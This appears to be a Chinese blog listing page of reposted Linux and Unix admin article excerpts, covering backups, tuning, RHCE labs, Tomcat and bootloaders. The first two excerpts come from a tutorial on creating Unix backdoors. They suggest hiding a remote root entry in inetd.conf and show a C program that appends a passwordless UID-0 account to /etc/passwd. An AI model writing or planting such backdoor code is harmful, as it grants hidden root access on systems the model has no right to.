创建UNIX后门(中级篇)(转)
创建UNIX后门(中级篇)(转)[@more@]超级服务器守护进程(inetd)的配置文件。系统管理员一般情况下不经常检查该文件,因此这倒是个放置“后门”的好地方。:) 那么在这里如何建立一个最好的后门呢?当然是远程的了。这样你就不必需要本地帐号就可以成为根用户了。首先,让我们先来了解一下这方面的基础知识:inetd 进程负责监听各个TCP和UDP端口的连接请求,并根据连接请求启动相应的服务器进程。该配置文件 /etc/inetd.conf 很简单,基本形式如下: (1) (2) (3) (4) (5) (6) (7) ftp stream tcp nowait root /usr/etc/ftpd ftpd talk dgram
创建UNIX后门(初级篇)(转)
创建UNIX后门(初级篇)(转)[@more@] 最简单的方法,就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。但最好别这么做,因为只要系统管理员检查口令文件就会“漏馅”了。以下是在 /etc/passwd 口令文件中添加一个 UID 0 帐号的C程序。 <++> backdoor/backdoor1.c #include main() { FILE *fd; fd=fopen("/etc/passwd","a+"); fprintf(fd,"hax0r::0:0::/root:/bin/sh "); } <--> 比这种方法稍微隐蔽一点的就是将藏在口令文件中某个无人使用帐号的 UID 改为 0,并将其第二个域(口令域)设为空。(注意,如果你使用的是较高
Linux中禁止Ctrl-Alt-Delete(转)
Linux中禁止Ctrl-Alt-Delete(转)[@more@]默认情况,Linux系统用/etc/inittab文件来控制系统对在系统终端前同时按下[CTRL]-[ALT]-[DELETE]组合键时是reboot还是shutdown。如果你愿意的话,你可以完全禁止这个功能。只要在这个文件中的: ca::ctrlaltdel:/sbin/shutdown -t3 -r now 前面加上一个注释符“#”就可以了。此外,我们也可以定制某些非root用户拥有在console前按ctrl-alt-delete来关闭系统的权利。步骤如下: 1. 在上面配置中加-a标记。例如: ca::ctrlaltdel:/sbin/shutdown -a -t3 -r now -a标记通知shutdown程序查看/etc/shu
UNIX管道和重定向功能在系统备份中的妙用(转)
UNIX管道和重定向功能在系统备份中的妙用(转)[@more@]UNIX命令有三个有效的数据流:标准输入,标准输出,标准错误。 管道是从一个程序进程向另一个程序进程单向传送信息的技术。与其它形式的进程间通讯,如IPC、MESSAGE PASSING、SOCKET等不同,管道特点是单向的。通常,管道把一个进程的输出传给另一进程作为输入。在接受进程接收信息前,系统临时保留管道信息。 UNIX shell中,管道在命令行中由一个竖杠(|)表示。管道左边的命令的标准输出作为管道右边命令的标准输入。 UNIX的输入和输出重定向可以将命令的标准输入输出,从键盘和终端转
LINUX系统性能调谐(转)
LINUX系统性能调谐(转)[@more@]本文从磁盘,文件及文件系统,内存和编译等方面详细的讲述了如何对Linux系统性能进行调谐。不管是Linux服务器还是客户机或者用户单机,按照本文提供的调谐方法,均可不同程度地改善Linux系统的性能。 1. 引言 实践证明Linux是高性能、稳定可靠而又相当灵活的操作系统,近年来,世界上许多大软件公司纷纷推出各种Linux服务器系统及Linux下的应用软件。目前,Linux已可以与各种传统的商业操作系统分庭抗礼,在服务器市场,占据了相当大的份额。Linux的服务器系统多种多样,可用作web服务器,邮件服务器,ftp服
Linux问与答:KDE问题解凝(转)
Linux问与答:KDE问题解凝(转)[@more@]问:是不是我太迟钝,或者因为KDE是太臃肿,资源要求高的桌面环境?如果那就是我要的,我会仍用微某(对不起,我不能说它的名字)。性能和好处都受到指责,FVWM2离我所希望的那种桌面环境还较接近,KDE却不是。 答:你不笨,但没得要领。KDE是分块的,如果你不想要某个特定的功能使你的系统膨胀或浪费你的资源,就在启动脚本文件中将它关闭掉。不要声音管理吗?关掉它。不要背景管理吗?关掉它。不要控制台吗?关掉它。当然,如果这样,你就不须要KDE了,你也就得不到这个环境的好处。 “图形
我的RHCE课堂实验《用户信息和man》(转)
我的RHCE课堂实验《用户信息和man》(转)[@more@]单元四实验:用户信息和man 估计用时:30分钟 目标:熟悉几个用户识别和帐户切换命令的使用。 实验前准备:准备一个安装好,完成过单元三实验的Red Hat Linux 系统,除此之外一个叫visitor 的非特权帐号,其密码为visitor。检查一下指南以确认这个帐号是否已经存在在系统中。如果你的visitor 帐号还未建立,则按如下次序操作: 1、以root 用户登录 2、输入 # useradd visitor 3、输入 # passwd visitor Changing password for user visitor New UNIX password: {在这里输入visitor} BAD PAS
我的RHCE课堂实验《文件和目录操作》(转)
我的RHCE课堂实验《文件和目录操作》(转)[@more@]单元三实验 文件和目录操作 估计用时:1小时30分 目标:熟悉文件、目录操作命令的数、语法和几个文件的使用。实验将这些命令组合成一个一般的用户任务。 实验前准备:准备一个安装好的Red Hat Linux 系统,并准备一个叫student 的非特权帐号,其密码为student。检查一下指南以确认这个帐号是否已经存在在系统中。如果你的student 帐号还未建立,则按如下次序操作: 1、以root 用户登录 2、输入 # useradd student 3、输入 # passwd student Changing password for user student New UNIX p
安装配置Tomcat + Apache + mod_jk(转)
安装配置Tomcat + Apache + mod_jk(转)[@more@]方案优势:配置简单高效,避免了编译webapp.so的麻烦 方案缺点:linux下的mod_jk也很难找. 1.安装JDK,这个很简单,执行 ./j2sdk1.4.1_02.bin cp -R j2sdk1.4.1_02/ /usr/local/j2sdk141 export JAVA_HOME=/usr/local/j2sdk141 export PATH=$PATH:/usr/local/j2sdk141/bin:/usr/local/j2sdk141/jre/bin export CLASSPATH=="./:/usr/local/j2sdk141/lib:/usr/local/j2sdk141/jre/lib" #设置环境变量 2.安装Tomcat4.1.29,将下载下来的tomcat1.4.29.tar.gz解压拷贝到相应的目录即可 tar xvzf tomcat4
在Linux Shell程序中进行身份验证(转)
在Linux Shell程序中进行身份验证(转)[@more@]※缘起 Linux系统管理员常常碰到的头痛问题是,在确定系统没有被入侵的前提下, 不知道哪个猪头不小心运行了某个特定用途的Shell程序,把系统搞得一塌 糊涂。而且,系统记录显示该猪头使用的是公用帐号(root或者admin), 你无法知道这个猪头在现实生活中具体对应的是哪一头猪。 ※开场 针对以上问题,解决方案有二:其一,追查时间和ip,根据时间和ip,可以 追查到该猪头是从哪个饲料槽拱过来的。不过猪圈里往往存在饲料槽混用问 题,这套解决方案只能确定以某猪为首的一群可疑猪。if大家都
Linux 探索 第一幕 传奇的开始(转)
Linux 探索 第一幕 传奇的开始(转)[@more@]《Linux 探索》的目的是帮助您认识Linux 这个博大精深的操作系统产品,如果您带着想成为专家或者顶尖Linux 人物来看本文的话,您肯定要失望了。因为我自己也还是Linux 的初学者,怎么能够写出让您成为高手的文章?(笑)不过愿望总是好的,大家一起努力吧!加油! ok,现在请您看看您是属于下面哪种类型的人: 1 :根本不知道什么是Linux,但是知道Windows; 2 :可以拼写出Linux 这个单词,知道是一种和Windows 操作系统相关的产品但仅此而已; 3 :知道Linux 是干什么的,有什么用处,而且也准
最老的Linux 系统《下载》(转)
最老的Linux 系统《下载》(转)[@more@]为了配合学习《Linux内核完全注释》一书,经过一段时间的摸索,我终于把linux 0.1x内核运行的文件系统制作出来了。为了方便大家实验,我制作了一个在bochs系统下运行的软件包。其中包括启动映像文件bootimage-0.1x和一个60MB的硬盘映像文件hdc.img。 运行环境: bochs 2.x模拟系统。 运行配置: 软件包中已经自带bochsrc.txt. 安装方法: 将该软件包linux-0.1x.zip复制到bochs的主目录(通常是C:Program FilesBochs-2.1)中解包,会生成linux-0.1x子目录。将该子目录中的配置文件bochsrc.txt复制到主
菜鸟经验:oracle与weblogic自动启动与停止(转)
菜鸟经验:oracle与weblogic自动启动与停止(转)[@more@]最近做开发时,发觉每次重新启动服务器时oracle数据库若没有关闭,则必须先关闭后在重新启动redhat advance server,oracle才能够正常运行。感觉这样麻烦,想到能否使数据库与web服务器与操作系统一同关闭与启动。在网上查找了一下相关资料,只找到一篇“Oracle Database HOWTO 自动启动及停止.htm”但是没有找到有关weblogic自动启动与停止的文章。经过摸索,我最初的想法实现了,因此想把它写出来,与大家交流。 服务器环境: RedHat Advance Server2.1 Oracle 9.2.2 for Linux We
Unix下的“魔法兔仔”(转)
Unix下的“魔法兔仔”(转)[@more@]长期以来,Unix/Linux一直让人忌讳莫深。对于刚刚接触Unix的系统管理员来说,正确高效地完成各 种关键的系统配置简直是一件不可能的任务。即使是一个很有经验的Unix的管理员,也常常会为某些复杂的配置文件的格式而苦恼。 Unix程序大多采用从某一个或多个特定名字文本中读取配置的方式,如果需要配置参数,则需要手工修改这些散落在系统各个角落的文本;windows下的程序则大多将配置参数写到注册表内,如要修改则需编辑注册表。两者各有其优点,不过Windows下有“魔法兔仔”、“Windows优化大师”等
Linux下的图片多多轻松看-Photo Tool(转)
Linux下的图片多多轻松看-Photo Tool(转)[@more@]这里要为朋友们介绍一款 Linux 下的图片浏览器,名叫“Photo Tool”。看起来界面似乎没有 Windows 下的 ACDSee 漂亮是吗?不过没关系,作为图片浏览器它与 ACDSee 相比浏览速度极快。如果您有大量图片,一定会认为使用“Photo Tool”绝对是更佳的选择。 其实我本来有数百张图片的,可是天降大祸,全没了。5555555555~~~~~~~~~~~~!我只能从一个 Linux 游戏里截了一副图来。这是一个多人连线的三维模拟坦克战游戏。400) {this.resized=true; this.width=400; this.alt='Click here to o
复制RedHat Linux系统(转贴,,中英文)(转)
复制RedHat Linux系统(转贴,,中英文)(转)[@more@]本文讲述一种实践方法:将REDHAT LINUX系统(包括操作系统,应用程序,数据)从一个物理的系统复制到另一个兼容的物理的系统. 此方法可应用于系统迁移(Server Migration), 系统硬件升级(Server H/W Upgrade), 系统灾难恢复(O.S. Disaster Recovery)等. 假定被复制的系统(源系统)为A系统,将要建立的系统(目标系统)为B系统.两者都采用固定IP. 步骤如下: 1. 在目标系统上安装小的操作系统 在B系统上安装一个小的Linux,并配制其网络.在安装过程中选择"Server",且去除X Window, Web, Samba, FTP等
Linux获得真正3D桌面 开源支持者喜不自禁(转)
Linux获得真正3D桌面 开源支持者喜不自禁(转)[@more@] 新浪科技讯 据国外媒体报道,Linux操作系统服务商Novell最近释出了Xgl(X over OpenGL)和compiz,并展示了其最新桌面。Xgl是基于OpenGL的X server,它使用硬件加速,可以实现Linux系统下真正意义上的3D图形效果。compiz则是其窗口管理器。最新的cvs版本可以从freedesktop.org下载。400) {this.resized=true; this.width=400; this.alt='Click here to open new window';}" border=0>Novell的compiz管理器和Xgl演示截图。 显卡通过Xgl可以加强图像的特殊效果,例如透明物体、3
Windows安全指南之域级别策略(转)
Windows安全指南之域级别策略(转)[@more@]帐户策略帐户策略是在域级别上实现的。Microsoft Windows Server 2003 域必须有一个针对该域的密码策略、帐户锁定策略和 Kerberos V5 身份验证协议。在 Active Directory 中任何其他级别上设置这些策略将只会影响到成员服务器上的本地帐户。如果有要求单独密码策略的组,应根据任何其他要求将这些组分段到另一个域或目录林。在 Windows 和许多其他操作系统中,验证用户身份最常用的方法是使用秘密通行码或密码。确保网络环境的安全要求所有用户都使用强密码。这有助于避免未经授权的用户猜测弱密码
Linux引导加载程序之争:了解 LILO 和 GRUB(转)
Linux引导加载程序之争:了解 LILO 和 GRUB(转)[@more@] 从普通的桌面用户到 Linux? 系统管理员,大部分 Linux 用户都使用过一种名为引导加载程序的工具。此类工具的不同变种会提供不同层次的支持和功能。在很多情况下,Linux 发行版默认安装的引导加载程序并不总是适合需要;每个引导加载程序的默认设置也是如此。在本文中,Laurence Bonney 讨论了两个流行的引导加载程序 —— LILO 和 GRUB —— 的优点和缺点,并建议了很多配置,以充分发掘机器的潜力。在不考虑他们的工作或专业情况下,所有 Linux 用户都会使用的是哪个工具?引导
Shell编程入门:Linux解释器原理(转)
Shell编程入门:Linux解释器原理(转)[@more@]引言使用Shell进行工作的人们对Unix/Linux下的Shell编程都很熟悉,在所有的Shell编程的书中都会提到#!/bin/bash,而这里到底包含了些什么?对操作系统而言,这一行字符串意味着什么?你可能会说,不就是会让/bin/bash程序来解释这个脚本程序吗?当然你是对的,看看我们的标题,这里我们谈谈解释器,让我们一起来看看脚本文件里的第一句到底对系统而言意味着什么。但有一点我们可先明确一下,所谓解释器就是指#!行后面的可执行的程序。一、我们从exec族函数谈起如果你从不写C程序,可能需要对本节